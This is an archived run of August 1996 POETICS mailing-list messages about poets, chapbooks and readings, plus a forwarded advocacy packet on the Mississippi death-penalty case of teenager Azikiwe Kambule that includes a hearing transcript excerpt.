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129. **Herb Levy**
Oops
Tue 13 Aug 1996

While that last missive from me wasn't as embarrassing as some of the misdirected e-mail that accidentally goes out to the whole list, I didn't need to bore all you folks with my request to Jordan.

So now I can bore with this too. Sorry.

Herb Levy
[redacted]

↑ Index

130. **Henry**
Re: defining or refusing to define
Tue 13 Aug 1996

On Tue, 13 Aug 1996 14:38:58 -0400 Joseph Lease said:
>--a couple of days ago I posted a message asking if anyone would be
>interested in discussing a range of poets--a certain range but I tried to
>word my message so as to leave the range open--ie, let the poets define
>certain topics of discussion (sites of poetics)--and go for them--adding
>poets whenever to the convesation whenever one wanted to--
>
>--the response--and a very reasonable question--was--well, what makes
>these poets a group--

Was there ANY response? I didn't see any on the list. Thought it was
a good opener...
>
>--but a question I would like to read pursued is:--what are the ways that
>poets can read poets from different and differently defined groups
>together (or, as Whitman might put it, side by side)--

I thought Dave Chirot's post on speed was a good recent example of how to think along these lines. Trying to open up an overview of different strains of 20th cent poetry - sense of historical development and the general purpose behind certain techniques - how to move toward a kind of simultaneous perspective on the different traditions, their strengths & weaknesses... Weakness, for example in the Pound/Wms/Olson quick-cut collage speed perception poetry

Chirot describes, might be that there are problems with too-easy breakup of syntax & argument - problems of coherence ("it all coheres, all right, though my notes don't"), problems of dramatic impact, problems of meaning (stevens, for example, faulted both the over-scholarly "notation" style of Eliot & Pound as well as the overly-impressionistic style of Williams - but his own version of pseudo-statement & pseudo-argument (as in Ashbery) has its own weaknesses. Who can fault these artists, I'm not saying anything was right or wrong, but it might help to move toward new style-simultaneity to keep in mind the kind of awareness on the level of aesthetic effect that Chirot's post showed. The same approach could be taken using dramatic narrative speech & stanza effects. And then you see how they bend these various techniques toward artistic-political-"philosophical" poem making (i.e. as you say Baraka & Andrews, for one example). Chirot's paradoxical remarks on how speed of perception - sometimes mechanically induced - produced "slowness" of aesthetic effect & relate to immediacy & documentation - were very apropos. How does this relate to the performance-overdrive poetry of today (thinking of the Hannah Wieners posts)? - Henry Gould

↑ Index

131. •

Re: speed & poetry (fwd)

Tue 13 Aug 1996

Is this my cousin? I was Lynda Nelson, now Imburgia! Just checking! :)

From: Gale Nelson[SMTP:[redacted]]
Sent: Tuesday, August 13, 1996 8:46 AM
To: Multiple recipients of list POETICS
Subject: Re: speed & poetry (fwd)

Maggie Zurowski & Sam Truitt are reading at The Fall Cafe, Smith St, Brooklyn, Saturday, 17th August at 3:oo p.m. These two cats will read some great verse -- so if you're in ear shot, make a bee line.

Maggie has been hanging in Berlin on a Fullbright fellowship & has seen her work in Mirage & the Impercipient. She holds an AB from Brown.

Sam is an MFA holder from Brown and has a great reading style.

Be there, once twice three times.

Gale

↑ Index

132. **filch**
for Chris Funkhouser. . .thanks
Tue 13 Aug 1996

---

http://www.chronotope.com/funkhouser/

↑ Index

133. **filch**
Tyuonyi & building clocks
Wed 14 Aug 1996

Two things:

Does anyone know if - Tyuonyi is still published and any contact issue with either the mag or Phillip Foss if it isn't published anymore.

Whether John Taggart's 'How to Construct a Clock' is still in print? Contact info?

cf

↑ Index

134. **Janet S. Gray**
growing up poems
Wed 14 Aug 1996

For a friend who is looking for 'accessible' poems to spice up
a mostly prose syllabus on growing up marginalized:
any suggestions of poems about growing up gay/lesbian,
growing up chicano/a, jewish, puertoriqueno/a, black,
native american, asian american, disabled, ... ?

Janet
[redacted]

↑ Index

135. **Gale Nelson**
Re: speed & poetry (fwd)
Wed 14 Aug 1996

Not likely a cousin, Lynda (unless rather distant), but possibly a college colleague? Did you play volleyball for the Claremont Mudd Scripps team in the early 80s?

From a relative-deprived Nelson (both my parents were only children),

Gale

↑ Index

136. Gale Nelson
Re: defining or refusing to define
Wed 14 Aug 1996

A very clever inversion of initials?

Amiri Baraka
Bruce Andrews

Political layer with language orientation or
language orientation with political layer?

The movement from one well-defined approach
to another (a "maturing" of aesthetic) over
the course of each poet's career?

A few bites on Joseph's line...
Gale

↑ Index

137. Gary Roberts
Re: defining or refusing to define
Wed 14 Aug 1996

Shouldn't this discussion of speed and slowness (an interesting asymmetry there) be also keyed to the paces of the other body zones, not just the the mind and the sense organs? Most obviously, the paces of other activities such as walking, breathing, sex. Gary Roberts

↑ Index

138. Julie Marie Schmid
Re: growing up poems
Wed 14 Aug 1996

Janet--

Sandra Maria Esteves's poem "My Name is Maria Cristina" comes to mind right away. I believe it's in her book *Blues Town Mockingbird Mambo*.

↑ Index

139. Burt Kimmelman
Re: defining or refusing to define
Wed 14 Aug 1996

Joseph,

Okay, why pair baraka and andrews?

Burt

↑ Index

140. maria damon
Re: growing up poems
Wed 14 Aug 1996

-the famous poem by countee cullen abt being called "nigger" in --baltimore?
can't remember what' its' called.
-anything by gary soto; living up the street teaches extremely well
-house on mango st, cisneros
md

In message <[redacted]> UB Poetics discussion
group writes:
> For a friend who is looking for 'accessible' poems to spice up
> a mostly prose syllabus on growing up marginalized:
> any suggestions of poems about growing up gay/lesbian,
> growing up chicano/a, jewish, puertoriqueno/a, black,
> native american, asian american, disabled, ... ?
>
> Janet
> [redacted]

↑ Index

141. maria damon
Re: mackey e-address
Wed 14 Aug 1996

---

does anyone out there have an e-address for nate mackey? i seem to have deleted said info from my old aol account. thanks groovoids. md

↑ Index

142. Gale Nelson
Re: growing up poems
Wed 14 Aug 1996

Just like a Real Italian Kid, Michael Gizzi (The Figures)

This book, like Michael's work in general, pops with just about every kind of energy you could imagine. Childhood memories galore.

Gale

↑ Index

143. rob wilson
Re: growing up poems
Wed 14 Aug 1996

Zack (R. Zamora) Linmark's "They Like You Because You Eat Dog" is all of the below, and more, crazed cyborgian linkages of becoming muliple selves from Manila to Honolulu to SF gay scene, plus the language is equal too indeed exceeds all such fixities of what "growing up" or down or out might me in US polity of Nick at Night acculturations. See "Rolling the R's" (Kaya Press Productions, out this year) and/or work in Haggedorn's anthology "Charley Chan Is Dead" etc and Walter Lew on the whole schmeer of space and selfhoods (Premonitions); Zack has even wilder work on cross-gender reinventions and recursive Catholicism (not as dessicated or displaced as Jack Spicer machinics) in Hawaii Review 44 (Fall, 1995), edited Sean Mac Beth, which has some demonic poems by Morgan Blair (ex Faye Kicknosway socalled) for goodly measure of excess too. Hope this helps a bit re below. Rob Wilson

On Wed, 14 Aug 1996, Janet S. Gray wrote:

> *For a friend who is looking for 'accessible' poems to spice up*
> *a mostly prose syllabus on growing up marginalized:*
> *any suggestions of poems about growing up gay/lesbian,*
> *growing up chicano/a, jewish, puertoriqueno/a, black,*
> *native american, asian american, disabled, ... ?*
>
> *Janet*
> [redacted]

↑ Index

144. Gale Nelson
CSPAN-2 to Air "Freedom to Write" Program
Wed 14 Aug 1996

C-SPAN-2 will air an edited version of the Freedom to Write Conference, held at Brown this past spring. The air date is Saturday, 31 August at 8:00 p.m., via their "About Books" program.

The Freedeom to Write Conference, sponsored by Brown University's Freedom to Write Program (housed in Creative Writing), fetaured an international symposium, including a teleconference conversation with Salman Rushdie, moderated by Freedom to Write Program founder, Robert Coover, with "present" panelists including Joanne Leedom-Ackerman, Carlos Fuentes, Gara LaMarche, Liao Hui-ying, and Liam Rector.

Speakers and presenters at other portions of the five-day conference were: Mark Amerika (USA), Bei Ling (China), Vladimir Ceballos (Cuba), Chen Jo-hsi (China), Augustin Garcia (Cuba), Hwang Liang (Taiwan), William Keach (USA), Li Lu (China), Liao Hui-ying (Taiwan), Jonathan Lubin (USA), Ma Jian (Hong Kong), Mang Ke (China), Carole Maso (USA), Mei Xin (Taiwan), Meng Lang (China), Gale Nelson (USA), Aishah Rahman (USA), Luis Rivera (Cuba), Doug Unger (USA), Keith Waldrop (USA), C.D. Wright (USA), Xiang Ming (Taiwan), Xue Di (China), Yang Ge-ling (China), Yang Xiaobin (China), Ying Ping-shu (Taiwan).

If you have cable, you may find the edited version of this conference to be an interesting document.

Gale Nelson

↑ Index

145. Joel Felix
Rube Steps In <<LEAVE BOOKS>>
Wed 14 Aug 1996

Anybody

Not to confuse the ether-ial with the real, but I was in Buffalo last weekend and was struck by the number of ass-kicking chapbooks from "Leave Press," which published several of the people on this list. Does anyone know who publishes "Leave" Books?

Shouts out to JKuzai for hot chaps tambien.

A general question placed to the field: Is the future of poetry in the U.S. the 500 copy laserprinted chapbook? Is this the nascent node of the cultural

production formerly known as "Poetics?" I do not come bearing critique, here, just typing aloud, as it were.

and thanks to those of us (ooh, bad english--, well,
how else would a collective mind talk to itself?) who caught hold
of the Ronald Johnson broadside firestorm. (nudge)

Felix

↑ Index

146. George Bowering
Re: disgruntled postal workers
Wed 14 Aug 1996

> *And re disgruntled postal workers and lit--as of y'day's log, no one had yet mentioned Charles Bukowski's novel _Post Office_.*

Oh, I thought we were talking about serious writing.

George Bowering.

"Sighing is extra."

--Gertrude Stein

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

147. Pierre Joris
[Fwd: David Tudor (fwd)]
Wed 14 Aug 1996

14 Aug 96 15:11 EDT
From: "Fred E. Maus" <[redacted]>
Subject: David Tudor (fwd)
To: [redacted]
Date: Wed, 14 Aug 1996 15:11:37 -0400 (EDT)

> *Date: 14 Aug 96 12:58:32 EDT*
> *From: Volker Straebel <[redacted]>*
> *To: s / silence <[redacted]>*
> *Subject: David Tudor*
>
> *Sad news, according to Mimi Johnson, Artservices:*
>
> *David Tudor died on Tuesday, August 13, at his home in Tomkins Cove, New York, after a series of strokes. He was 70 years old.*

> *Volker Straebel*

↑ Index

148. **Douglis Beck**
Re: POETICS Digest - 10 Aug 1996 to 11 Aug 1996
Wed 14 Aug 1996

---

debra sez: "Craven's probably surfin the waves." not sure what that means, but there it is. go figure.

↑ Index

149. **Loss Glazier**
Re: Rube Steps In <<LEAVE BOOKS>>
Wed 14 Aug 1996

Joel, You can find info about these presses at the Electronic Poetry Center
http://writing.upenn.edu/epc
then select "Presses"

At 11:21 AM 8/14/96 CDT, you wrote:
> Anybody
>
>Not to confuse the ether-ial with the real, but I was in Buffalo
>last weekend and was struck by the number of ass-kicking chapbooks
>from "Leave Press," which published several of the people on this
>list. Does anyone know who publishes "Leave" Books?
>
> Shouts out to JKuzai for hot chaps tambien.
>
> A general question placed to the field: Is the future of
>poetry in the U.S. the 500 copy laserprinted chapbook? Is this
>the nascent node of the cultural production formerly known as "Poetics?"
>I do not come bearing critique, here, just typing aloud, as it were.
>
> and thanks to those of us (ooh, bad english--, well,
>how else would a collective mind talk to itself?) who caught hold
>of the Ronald Johnson broadside firestorm. (nudge)
>
>Felix
>
>

↑ Index

150. Gabrielle Welford
info on azi (fwd)
Thu 15 Aug 1996

I got information before I forwarded this because it seemed so extreme and horrendous. gab.

---------- Forwarded message ----------
Date: Wed, 14 Aug 1996 13:19:29 -1000
From: [redacted]
To: [redacted]
Subject: info on azi

Gabrielle,
We received your request. Please excuse the dealay in getting back to you.
 We've been running day and night on this case.

Enclosed please find A)an article that recently ran in the Jackson Advocate B) an excerpt from the pre-trial hearing and C) an articel that ran in the Clarion-Ledger last April.

I hope these will give you a satisfactory range of perspectives and information.

If I can be of further service, please don't hesitate to call on me.

In Solidarity,

Ben Jealous
NCADP Program Coordinator

South African Child Facing Legal Lynching, Civil Rights Activists Protest

"Under Apartheid, under the state of emergency, Black children were tried as adults," observed Elaine Salo, a South African doctoral candidate studying in Atlanta. "This case is very reminiscent of that situation. He may not be accused of a political crime, but they are not taking his age into consideration. This is really a child we are talking about." After surviving some of Apartheid's most turbulent years, Azikiwe Kambule a 10th grade South African child is facing the death penalty in Mississippi for a crime in which many say he was little more than a bystander. Despite having no criminal record, no history of violence, providing his full cooperation to the authorities, and not being present when the killing took place Azi has been charged as an accomplice to capital murder. Mississippi is seeking the death penalty against Azi-- a child who isn't even old enough to buy a beer, let alone sit on a jury. Two local prosecutors, Hinds County District Attorney Ed Peters and Madison County

D.A. James Kitchens, have already acted to seal Azi's fate. In April, Peters was quoted in the Clarion-Ledger, a local daily newspaper, as saying that because the "jurors in [predominantly black] Hinds County have a reputation for refusing to vote for the death penalty," he and Kitchens moved Azi's trial to Madison County where the outcome would be more certain, if not predictable. The setting for John Grisham's A Time To Kill, Madison's racial environment is notorious. "That jury's gonna lynch 'em," says Charles Tisdale, publisher of The Jackson Advocate. "It's just that simple." With one of the largest white populations in Mississippi, Madison has become a virtual haven for the state's less tolerant elites. "That county is home to this country's richest and poorest people," says Tisdale. "The white folks ran there to avoid desegregation, and the black folks who've stayed have never received the benefit of their own civil rights." Like his fictitious counterpart in Grisham's's novel, county officials say, the current Madison County D.A. is hoping this high profile death penalty case will advance his career. "Word is he's planning on running for Judge soon," said a county attorney who asked his name not be printed. Azi's friends and supporters say they are concerned that the part-time public defender who's defending him won't be up to the challenge. "Those attorneys are contracted-- they aren't paid anything extra to handle capital trials," says Sheila O'Flaherty who was with the Mississippi Capital Defense Resource Center until congressional Republicans eliminated its funding earlier this year. The office had been charged with making sure that cases like Azi's didn't fall through the cracks. According to Steve Hawkins, executive director of the National Coalition to Abolish the Death Penalty, court-appointed attorneys in southern states often receive the equivalent of 4 or 5 dollars per hour to handle death penalty trials. "Look at the facts," says Reverend Robert Abrams, a United Methodist pastor from Gulfport, Mississippi, "and you will see this boy is more of a victim than anything else." Azikiwe Kambule came to the United States two years ago with his mother who had received a fellowship to finish her college education in America. "He was very excited," remembers his mother, Busisiwe Chabeli. "He had always heard us talk about America and he wanted the chance to see for himself." As a student at Chastain Middle School in Jackson, Azi had no trouble adjusting academically; he received excellent grades, was placed in honors classes and joined the school choir. Yet, Azi found himself under immense social pressure -- he didn't look, speak or dress like other children in his neighborhood. Azi wanted to "fit in" with his peers, and not be the subject of their ridicule. He met and started spending time with youth who were older and very street-wise. While attending Jackson's Murrah High School, Azi's grades began to fall; his parents worried that his new friends were the wrong crowd. Fearing the worst, they decided to scrape together the funds to send Azi to a boarding school. Tragically, it was already too late. Last January, a week before he was to leave for the Piney

Woods School, Azi found himself in the middle of a car-jacking in which a young African American woman was kidnapped and ultimately killed. According to police testimony during a pre-trial hearing, Azi himself was so far away from the crime scene that he did not hear the gunshots. When arrested, he was the only one to cooperate with the police. He fully explained the terrible series of events that ended with the death of Pamela McGill-- a young African American woman who was popular in the local community. After his arrest, Azi tried repeatedly to help the authorities in their investigation. Civil rights activists say they fear that outrage about McGill's murder has inhibited many people's ability to see the injustice being perpetrated by local prosecutors. "While the tragedy of Ms. McGill's death is an emotional fire burning out of control in our community, we must look at the larger political dynamic of the prosecutors' decision to move this trial to Madison County to ensure these two young people get the death penalty," commented L.C. Dorsey, assistant professor of social work at Jackson State University and former executive director of the Mississippi Prison Defense Committee. "It seems that their guilt has been decided even before the trial has begun." Scheduled to commence August 19, Azi's case is already beginning to attract national and international attention. "The situation in which Azi finds himself speaks volumes about the use of the death penalty against children," Hawkins says. "During this decade, only five nations in the world are known to have executed persons for crimes they committed before their eighteenth birthday. Those countries are Iran, Pakistan, Yemen, Saudi Arabia . . . and the United States. And America has executed more than the other four combined." According to the National Coalition to Abolish the Death Penalty, a condemned child in the United States also tends to be of darker hue -- 66% of those persons sentenced to death as children have been from racial minorities. "Nowhere is the international rule of law more clear than the prohibition on the use of the death penalty against children. The International Covenant on Civil and Political Rights, which the United States has ratified, clearly states that the 'sentence of death shall not be imposed for crimes committed by persons below the age of eighteen'," Hawkins explains. "Indeed, every major human rights treaty in the world has the same express wording." Rev. Abrams says he is concerned that Americans have become so fearful and angry about violence in their communities that they're no longer contemplating the consequences of their responses to crime. "There is a feeding frenzy going on in America right now" he says. "And we are feeding on our youth." --

_____ [NOTE: This is only an excerpt from the complete transcript. The information cited below can be found on pages 1 and 3-14 of the official transcript, which is available from the Madison County Circuit Court Clerk's Office]

IN THE COUNTY COURT OF THE FIRST JUDICIAL DISTRICT
OF HINDS COUNTY, MISSISSIPPI

STATE OF MISSISSIPPI PLAINTIFF
VERSUS NOS. 96-228 & 96-229 RUDY
RHODES AND SANTONIO BERRY
DEFENDANTS

* * * * * * * * * * * * * * * * * * TRANSCRIPT OF THE PROCEEDINGS HAD AND DONE IN THE PRELIMINARY HEARING OF THE ABOVE-STYLED AND NUMBERED CAUSES BEFORE THE HONORABLE WILLIAM R. BARNETT, HINDS COUNTY JUDGE, ON THE 22ND DAY OF FEBRUARY, 1996. * * * * * * * * * * * * * * * * * *

DIRECT EXAMINATION BY MR. LEMON: Q. Would you state your name, please. A. James French. Q. Where are you employed? A. City of Jackson Police Department, Violent Crimes Task Force. Q. How long have you been employed there? A. I've been employed with the police department a little over 18 years. Q. Have you had reason to investigate a crime involving a Rudy Rhodes and Santonio Berry? A. Yes, sir, I have. Q. Did you also investigate a crime involving an Azikiwe Kambule? A. Yes, sir, I did. Q. And they are all related in the same crime? A. Yes, sir. Q. Do you understand that because Mr. Kambule's attorney is not able to be here today because of a conflict we're only going to proceed on Mr. Rhodes and Mr. Berry? A. Yes, sir. Q. Okay. What crime had you investigated the defendant Rhodes and defendant Berry for? A. The initial crime was simply a missing person. They were--they have been arrested and charged. Mr Berry has been charged with armed robbery and kidnapping, Mr. Rhodes has been charged with accessory to armed robbery and accessory to kidnapping. Q. And where did this crime take place or begin? A. 1523 County Line Road, Somerset Apartments. Q. Is that in the First Judicial District of Hinds County? A. Yes, sir. Q. Could you please tell the Court the involvement in the crimes as to Rudy Rhodes and Santonio Berry; and when necessary please speak to defendant Azikiwe Kambule, also. A. Yes, sir. Initially Pamela McGill was reported missing on the 25th of September [sic]. We obtained a bank photo from the Trustmark Bank at County Line Road, an ATM machine, showing Ms. McGill--the last know time that we know that she was alive at 5:55 P.M. on that date. As she drives through the--away from the ATM a white Mitsubishi driven by Mr. Berry, a clear facial shot of him, pulls through the ATM. From that point on Ms. McGill has never been seen. She had a meeting set up for 6:20--6:15 that day. The person that was supposed to meet her did not arrive at her apartment until 6:20. Ms McGill was not there at that time. She's never been seen from again. The--Ms. McGill at the time she went through the

bank was driving her 1993 red Dodge Stealth. She withdrew $50.00 in cash from the bank, and there was a debit against her account for $51.00, the extra one dollar against the account. We began looking for the vehicle. We received information that an individual from Laurel and two from Jackson were trying to sell the vehicle in Laurel on a street called Lucas Street. We contacted Laurel P.D. Laurel P.D. began looking for the vehicle. They found the vehicle parked on a parking lot at Howard Industries in Laurel. This was on the 5th of February around 5:00 P.M. The vehicle was processed for evidence by the Mississippi State Crime Lab. Items missing from the vehicle were the car radio, a set of floor mats, and a cellular telephone--Dodge Stealth floor mats. Also found in the car was a spent hull from a Makarov pistol, a 9 by 18 Makarov style--Makarov style pistol. They recovered other pieces of evidence. February the 6th a Mr. Preston Ramsey contacted us and advised that he had received information that Rudy Rhodes and two individuals from Jackson had taken the red Dodge Stealth to an Oscar George in Laurel. Detective Windham with the Laurel P.D. was contacted and asked to locate Oscar George. In the meantime, members of the task force went to Laurel. On the 6th special agent--FBI agent Artis and detective--and myself interviewed Oscar George. Oscar George stated that Rudy Rhodes and two individuals that he thought to be from Jackson had tried to sell him this red Dodge Stealth for a thousand dollars. On the 6th members of the Violent Crimes Task Force and the Fugitive Task Force arrested Rudy Rhodes. At 8:30 P.M. Rudy Rhodes signed a rights waiver form. This was witnessed by FBI agent Hal Neilson, Mississippi Highway Patrol investigator Tommy Squires, and myself. Rudy Rhodes then gave a written statement as to this incident. Q. Without getting into the--exactly what was said in the statement, could you please tell the Court the effect of that statement? A. The statement indicates that Azikiwe Kambule and Berry showed up at Rhodes' apartment. They were driving a red Dodge Stealth. Rhodes indicated that as soon as he saw it he knew that it was probably a stolen vehicle. They wanted to go to Laurel. He had already planned to go to Laurel, so he allowed them to follow. Rhodes and his girlfriend, Pammy Porter, rode in Rhodes' red Dodge--in a red Plymouth Laser; and the red Dodge Stealth driven by Berry and a passenger, Kambule, followed. Pammy Porter spent the night at her mother's house. Berry, Kambule, and Rhodes spent the night, the night that Ms. McGill first--missed her first appointment. The next day, Friday, Rhodes stated that he took Kambule and Berry to Oscar George's business which is a repair shop, auto repair shop; and they did in fact try to sell the car for a thousand dollars. Santonio Berry removed the radio from the vehicle and placed it in the trunk of the red Plymouth Laser that's jointly owned by Rudy Rhodes and a Stacy Roy. While in Laurel, Santonio Berry and Azikiwe Kambule told Rhodes that they had followed a woman driving from a bank to some apartment. They made the woman move over and drove toward Raymond. They turned off the highway toward Raymond on a long, dark road,

made the woman get out, and drove off. They did not tell Rhodes, according to his statement, that they had murdered her. Super Bowl Sunday, which I believe is the 28th--they came back to Jackson on Saturday. Pammy Porter drove the Plymouth Laser, and the three individuals were in the car with her. And Super Bowl Sunday Berry went back to Rhodes and said he wanted to go back to Laurel. Rhodes and Berry went back to Laurel and moved the vehicle from an individual's house to the parking lot at Howard Industries where they left it. And that's basically Rhodes' statement. Q. Okay. Did any of the others make any statements? A. Yes, sir. Azikiwe Kambule when he was arrested by special agent Neilson, investigator Squires, and myself made a statement that he and--to the effect that he and Berry had in fact observed Pam McGill on the parking lot of the Trustmark Bank at the corner of County Line and Wheatley. They were standing outside of Berry's car about to use an ATM card themselves. Ms McGill drove around them, pulled in the machine. Berry made a statement that he wanted that car. They got back into Berry's car, followed her to the apartments. Kambule said that it appeared to him that Ms. McGill was getting out of her vehicle as if to check the mail, and at which point-- Q. This is back at her apartment? A. At Somerset Apartments. Kambule stated that Berry used his Makarov pistol to force Ms. Berry [sic] back into the car. He forced here through the driver's seat into the passenger's seat of this vehicle. Berry got in behind the driver's seat with the weapon on Ms. McGill. Kambule indicated that he got into the passengers door and almost had to lie down to get behind the from seat--behind the seat on the passenger's side. Berry drove. Kambule again was right behind the seat. Ms. McGill was in the right, front seat. They left Berry's Mitsubishi at Somerset Apartments. As they drove, Pam McGill kept begging for them to just take the car and take her money and let her go. According to Kambule, they went to a road down toward Raymond. Berry stopped the car, made the woman get out, and he told Kambule to turn the car around. Kambule stayed in the car. Berry walked the woman into the woods. Kambule tried to turn the car around. He cannot drive a straight shift and could not get it turned around. Berry returned shortly; and Berry stated--according the Kambule, Berry said that he had shot--he had made the girl kneel down and shot her in the back of the head. They then went, according to Kambule, went to Rhodes' apartment. There they left the Dodge and had Rudy Rhodes take them back to where they had left the white Mitsubishi. Berry drove the Mitsubishi to his apartment on Poplar Avenue. They then returned to Rudy Rhodes' home and then went to Laurel. Kambule tried to point out the road that--where the--where Ms. McGill had been placed, but he was not successful. Q. Has anyone else attempted to assist the police or the authorities in finding Ms. McGill's body? A. In--no, they all-- Q. Concerning the defendants. A. We got statements from Cedric Bernard Jones and from a Brian Cooley. They were with all three defendants on the

Saturday night--excuse me--on the Friday night following the abduction; and Santonio Berry showed Brian Cooley the firearm. All three defendants showed these two witnesses the vehicle. At that time it was--when they saw it, it was parked on the parking lot at Jones County Junior College. They talked about the incident; and according to Cooley and Jones, they indicated that they had forced the woman into the car, taken her to a long, dark road and made her get out. Jones and Cooley indicated they thought the woman was still alive when she was put out of the vehicle. Pammy Porter was interviewed by agents Neilson and Detective Rainey, and she indicated that she had in fact gone to Laurel, that when she first--on the night of the incident when she returned home, she walked into her apartment and heard Santonio Berry saying something to the effect "two shots, pow, pow." She went on into the apartment. They wanted to go to Laurel. They followed Porter and Rhodes to Laurel, that during the weekend she did in fact overhear them saying that they had taken the car--taken the woman, taken the car and put her out on a long, dark road. On the way back from Laurel that Saturday, Pammy Porter was driving the vehicle with the other three individuals in it. She was stopped in Mendenhall-on Highway 49 at Mendenhall and issued a ticket for driving with no tag. Q. How did the two defendants that abducted Ms. McGill receive their vehicle back that they had parked at her apartment complex? A. According to Kambule, Rhodes--they went--after they put Ms. McGill out, they went to Rhodes' apartment. They got into Rhodes' car. Rhodes took them to Somerset Apartments. Berry got into the Mitsubishi, drove the Mitsubishi to Poplar Street where he had an apartment, and this is prior to going to Laurel. Q. I'm sorry. Where were the items that were taken from Ms. McGill's car found? A. The radio that was taken from Ms. McGill's car was found in the trunk of Rudy Rhodes' car. He identified it as being the radio that came out of the car. The cellular telephone was recovered by Laurel Police Department. An individual turned it in, and an individual there whose name escapes me now identified it as being the phone that came out of that car. The floor mats from the vehicle were found in a mini storage building in Clinton during the serving of a search warrant. So that' the only three items we've recovered from the car. The Makarov pistol we believe to have been used in the incident was found in the possession of Mr. Berry at the time he was arrested by Clinton Police Department... CROSS-EXAMINATION BY MR. FORTNER: Q. Jim, I've just got a few questions. How long after Kambule was arrested did you arrest Mr. Berry? A. Mr. Berry was arrested somewhere in the neighborhood of 5:15, 5:30 in the morning. Q. Did Mr. Berry make any statements to the police? A. No, sir. Q. None at all? A. To my knowledge, no, sir. Q. Are you the only person that attempted to ask him any questions, or did you attempt to ask him any questions? A. I was not present during the time he was arrested. I did see him following his arrest. They

brought him up to our office for processing into the jail. He was advised of his rights, but he didn't want to talk. So to my knowledge he's not made any statements whatsoever. Q. Did Mr. Kambule--is Mr. Kambule the only witness you've spoken to or the only person you or anybody else has spoken to that says Mr. Berry told him that he killed the woman? A. Yes, sir. Q. All of the other people that you've talked to, the people down in Laurel, the names that you listed, all of those people only say that Kambule and Berry said that they took her out on a road and put her out. Is that right? A. Yes. Q. Do we even know for certain what road we're talking about here? A. No. Q. So do we even know for certain that if this woman was killed it occurred here in Hinds County? A. We know that the crime began in Hinds County. Q. But we don't know where it ended. Is that right? A. Correct. Q. Right now my client is not charged with murder. Is that right? A. Correct. Q. And is it your intention to try to present a murder charge against him to the grand jury? A. Yes, sir. Q. Did Mr. Kambule--what time was it when they went through the ATM? A. 5:55. Q. And what time was it when they got to Mr. Rhodes' apartment? A. There's some discrepancy on that. Q. What does Rhodes say? A. I think Rhodes and--I believe Rhodes said around 8:00 or 9:00 P.M. Q. What about Kambule? A. He didn't say. Q. And Kambule testified--or in his statement he told you that--he told you that he did see my client with a gun. Is that right? A. Kambule? Yes, sir. Q. How long--you said that Kambule said that Mr. Berry left the car with Ms. McGill; and he tried to turn the car around, couldn't do so, and Berry returned shortly. A. Yes, sir. Q. What is shortly? A. I don't know. Q. Was he any more specific than that? A. No. Q. Did Mr. Kambule tell you that while Mr. Berry and Ms. McGill were outside of the vehicle that he heard a gunshot? A. He specifically said he did not hear a gunshot. BY MR. FORTNER: That's all.

---------- MADISON COUNTY WILL TRY SUSPECTS IN MCGILL SLAYING

[Note: This is a copy of an article that ran in Jackson, Mississippi's Clarion-Ledger Neewspaper on April 5, 1995]

Pamela McGill's suspected killers will be tried in Madison County, officials said Thursday. Investigators said they don't plan to directly file charges related to McGill's slaying against Santonio Berry, 21, and Azikiwe Kambule, 17, but will present the case to the grand jury as a capital murder punishable by the death penalty. "I requested the Madison County District Attorney take the case and he's agreed to do that," said Hinds County District Attorney, Ed Peters. "The family, from the beginning, has expressed a desire that the

people charged get the death penalty and the best way is to send it to another county," Peters said. McGill, 31, disappeared Jan. 25. Police say the incident began in Hinds County, where she was kidnapped, and ended in Madison County, where she was slain. "Both counties would have jurisdiction," Peters said. Police say Berry wanted her sports car and he and Kambule kidnapped her from her Jackson apartment. Kambule told police Berry drove the car to a deserted road outside Jackson and shot McGill in the head after making her walk into the woods and kneel. Berry, Kambule and Rudy Rhodes, 19, were arrested Feb. 7. Berry and Kambule were charged with armed robbery and kidnapping, Rhodes was charged as an accessory. Rhodes is accused of arranging to sell McGill's red 1993 Dodge Stealth in Laurel; investigators say Pammy Porter, 19, Rhodes' fiancee, also knew of the crime. Porter also is charged as an accessory. Madison County Coroner Alex Breeland said an autopsy confirmed McGill was shot in the back of the head. The body was released to her family Thursday. McGill's body was found Thursday in a wooded area near North County Line Road just inside Madison County after Berry pinpointed the general location for investigators. Two previous searches, based on Kambule's vague description of the site, failed. Hinds County Sheriff Malcolm McMillin said he had no preference which county will try the case. "My position is there's good judges and good juries in Hinds and Madison counties," he said. Peters sees things differently. "The jurors in Hinds County have a reputation for refusing to vote for the death penalty," he said. "Certain judges in Hinds County have gotten so prejudiced against the prosecution that they won't even allow confessions to be entered as evidence." _____---------- END OF TRANSMISSION

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151. •

Re: speed & poetry (fwd)

Thu 15 Aug 1996

No! I was'nt an athelete! But I did dabble in poetry some! I do have a = cousin named Gale Nelson tho! I can see now you are not her! I'm sorry = you don't have more relatives.....but you can adopt them! I did! I have = a large family.....but adopted a Grandmother, a Brother, and a cousin! = They are wonderful! Thanks for answering! .....Lynda.

From: Gale Nelson[SMTP:[redacted]]
Sent: Wednesday, August 14, 1996 6:32 AM
To: Multiple recipients of list POETICS
Subject: Re: speed & poetry (fwd)

Not likely a cousin, Lynda (unless rather distant), but possibly a =
college
colleague? Did you play volleyball for the Claremont Mudd Scripps team =
in
the early 80s?

> *From a relative-deprived Nelson (both my parents were only children),*

Gale

↑ Index

152. Gabrielle Welford
Re: growing up poems
Thu 15 Aug 1996

Hey, Lois Ann Yamanaka's _Saturday Night at Pahala Theater_ and Zack Linmark's _Rolling the R's_. Some of Mary TallMountain's poetry and stories, if you want more stories--a wonderful one called "Green March Moons" and others. gab

↑ Index

153. Schuchat
WW II in Japanese Film (fwd)
Thu 15 Aug 1996

The following, which I cross post from another list, may be of interest to
some of us.
---------- Forwarded message ----------

Subject: WW II in Japanese Film

Hello all,

For those of you in or passing through the San Francisco - Bay Area:

A Chinese acquaintance has informed me of the following films being shown at the Pacific Film Archive in Berkeley: "WW II in Japanese Film"

August 16 -- Seisaku's Wife 7:00
        -- Clouds at Sunset 9:15
August 17 -- Hoodlum Soldiers Return 7:30
        -- Dear His Majesty 9:20
August 30 -- Senso Daughters and Karayuki-San:
                The Making of a Prostitute 7:30
August 31 -- Extremely Personal Eros: Love Song 7:00
        -- The Emperor's Naked Army Marches On 8:55

For more info see http://www.uampfa.berkeley.edu/pfa/

Pacific Film Archive
2621 Durant Avenue
Berkeley, California 94720-2250
510/[redacted] (office)
510/[redacted] (tickets)

Thomas Pixley email: [redacted]
Program Officer
Asia/Pacific Research Center
200 Encina Hall
Stanford University phone: [redacted]
